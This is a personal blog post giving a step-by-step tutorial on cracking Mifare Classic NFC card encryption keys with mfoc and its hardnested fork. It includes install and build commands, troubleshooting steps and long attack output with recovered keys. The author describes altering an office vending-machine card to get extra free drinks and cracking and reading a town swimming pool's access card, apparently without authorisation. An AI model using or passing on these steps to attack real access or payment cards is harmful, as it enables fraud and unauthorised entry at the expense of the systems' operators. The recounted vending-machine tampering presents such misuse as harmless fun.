Howto crack Mifare Classic NFC cards using the hardnested attack

I’ve always been a fan of hacking. Not to harm others but just for the fun of it.

A few years ago, I learned about NFC hacking. At that time we had a NFC card at the office which allowed us to get 3 free drinks a day out of our vending machine. It turned out they were using a Mifare Classic card. This type of card can easily be hacked as the encryption keys protecting the data are vulnerable to several exploits.

So I bought an NFC card reader that’s compatible with libnfc, it’s an NFC library that’s available on linux and Mac.

Image for post
Image for post
the SCL3711, a very compact NFC reader/writer

Using the mfoc tool, available through homebrew on Mac, I was able to recover the encryption keys. Then using the Mifare Classic Tool for Android I was able to modify its contents so I could get more than 3 drinks a day. Hooray! That was fun. Not the drinking part but the path to the hack off course.

Swimming pool

Back to the present day. At our town we have this swimming pool that uses NFC cards to enter the pool. Again, I turned to mfoc to recover the encryption keys.

Let me go through the installation.

To install mfoc on a Mac, make sure you have homebrew installed and run

brew install mfoc

Then put your card on the reader and run

mfoc -O file.dmp

Unfortunately, cracking the swimming pool card took forever:

Sector 00 -  FOUND_KEY   [A]  Sector 00 -  UNKNOWN_KEY [B]
Sector 01 - FOUND_KEY [A] Sector 01 - FOUND_KEY [B]
Sector 02 - FOUND_KEY [A] Sector 02 - FOUND_KEY [B]
Sector 03 - FOUND_KEY [A] Sector 03 - FOUND_KEY [B]
Sector 04 - FOUND_KEY [A] Sector 04 - UNKNOWN_KEY [B]
Sector 05 - FOUND_KEY [A] Sector 05 - FOUND_KEY [B]
Sector 06 - FOUND_KEY [A] Sector 06 - FOUND_KEY [B]
Sector 07 - FOUND_KEY [A] Sector 07 - FOUND_KEY [B]
Sector 08 - FOUND_KEY [A] Sector 08 - FOUND_KEY [B]
Sector 09 - FOUND_KEY [A] Sector 09 - FOUND_KEY [B]
Sector 10 - FOUND_KEY [A] Sector 10 - FOUND_KEY [B]
Sector 11 - FOUND_KEY [A] Sector 11 - FOUND_KEY [B]
Sector 12 - FOUND_KEY [A] Sector 12 - FOUND_KEY [B]
Sector 13 - FOUND_KEY [A] Sector 13 - FOUND_KEY [B]
Sector 14 - FOUND_KEY [A] Sector 14 - FOUND_KEY [B]
Sector 15 - FOUND_KEY [A] Sector 15 - FOUND_KEY [B]
Using sector 00 as an exploit sector
Sector: 0, type B, probe 0, distance 28770 .....
Sector: 0, type B, probe 1, distance 26035 .....

Running mfoc -hreports with:

This is mfoc version 0.10.7.

So I went to Kali. Kali is a penetration testing Linux live cd. It has mfoc already installed.

Even though this version of mfoc also reports begin 0.10.7, running it results in something different:

Card is not vulnerable to nested attack

No luck…

Using the hardnested attack

I’ve read about the hardnested attack and though it was only possible with the more expensive Proxmark3. However thanks to vk496, there is a now a version of mfoc that does the hardnested attack:

You can build it on Kali (or any other Linux system) like this:

First, you need some prerequisites:

sudo apt-get update
sudo apt-get install git binutils make csh g++ sed gawk autoconf automake autotools-dev libglib2.0-dev libnfc-dev liblzma-dev libnfc-bin

Then, clone the mfoc fork and, go into the mfoc folder and check out the hardnested branch:

git clone https://github.com/vk496/mfoc
cd mfoc
git checkout hardnested

Build it using:

autoreconf -is
./configure
make

Go into the /mfoc/src folder and try to run ./mfoc from here:

./mfoc -O file.dmp

If you get errors like this:

error libnfc.driver.pn53x_usb Unable to set USB configuration (Device or resource busy)
No NFC device found.

Try to run

modprobe -r pn533_usb pn533

If you get errors like this:

nfc_initiator_mifare_cmd: Timeout

Fix them by adding blacklist pn533_usb to the end this file:

/etc/modprobe.d/blacklist-libnfc.conf

Unplug and plug the reader back in and try again:

./mfoc -O file.dmpFound Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
* UID size: single
* bit frame anticollision supported
UID (NFCID1): 01 42 8a 9e
SAK (SEL_RES): 08
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092
Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:
Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: ffffffffffff] -> [.xxx.xxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [/xxx/xxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [/xxx/xxxxxxxxxxx]
[Key: 000000000000] -> [/xxx/xxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [/xxx/xxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [/xxx/xxxxxxxxxxx]
[Key: 1a982c7e459a] -> [/xxx/xxxxxxxxxxx]
[Key: aabbccddeeff] -> [/xxx/xxxxxxxxxxx]
[Key: 714c5c886e97] -> [/xxx/xxxxxxxxxxx]
[Key: 587ee5f9350f] -> [/xxx/xxxxxxxxxxx]
[Key: a0478cc39091] -> [/xxx/xxxxxxxxxxx]
[Key: 533cb6c723f6] -> [/xxx/xxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [/xxx/xxxxxxxxxxx]
Sector 00 - Found Key A: a0a1a2a3a4a5 Unknown Key B
Sector 01 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 02 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 03 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 04 - Found Key A: a0a1a2a3a4a5 Unknown Key B
Sector 05 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 06 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 07 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 08 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 09 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 10 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 11 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 12 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 13 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 14 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Sector 15 - Found Key A: ffffffffffff Found Key B: ffffffffffff
Using sector 00 as an exploit sector
Card is not vulnerable to nested attack
Using AVX2 SIMD core.Activity |expected to brute force
|#states |time
--------------------------------------------------------------------
Start using 8 threads and AVX2 SIMD core | |
Brute force benchmark: 1125 million (2^30.1) |140737488355328 | 35h
Using 235 precalculated bitflip state tables |140737488355328 | 35h
Apply bit flip properties | 1180857600 | 1s
Apply Sum property. Sum(a0) = 144 | 1180857600 | 1s
Starting brute force... | 1180857600 | 1s
Brute force phase completed. | 0 | 0s
Key found: 1727a102a015

As you can see, after the normal mfoc attack comes the hardnested attack. This can take a while, but eventually it found the key for Sector 0:B.

To find the next key, simply provide the found key as a parameter:

./mfoc -O dd -k 1727a102a015

After a few minutes, the second key was recovered too.

Reading the card at the swimming pool

At this point, I can read the swimming pool card. But I have no idea what the bytes actually mean. Do they contain the monetary value on the card? Do they just contain the last date?

Reading the card on the go is easy. You don’t need to bring your laptop. Just bring an Android phone with the Mifare Classic Tool on it, add your new found keys to their key file and read it:

Image for post
Image for post
Mifare Classic Tool: dump of the card

There you have it. All sectors are fully read.

Next on my todo list is: go swimming :-)

For those interested in more, a nice overview of current RFID NFC attacks can be found here: https://smartlockpicking.com/slides/Confidence_A_2018_Practical_Guide_To_Hacking_RFID_NFC.pdf

Disclaimer: uids/encryption keys in this post are obfuscated or modified.

Written by

Hardware and software (reverse) engineer. Passionate about new technologies. samdecrock.be

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store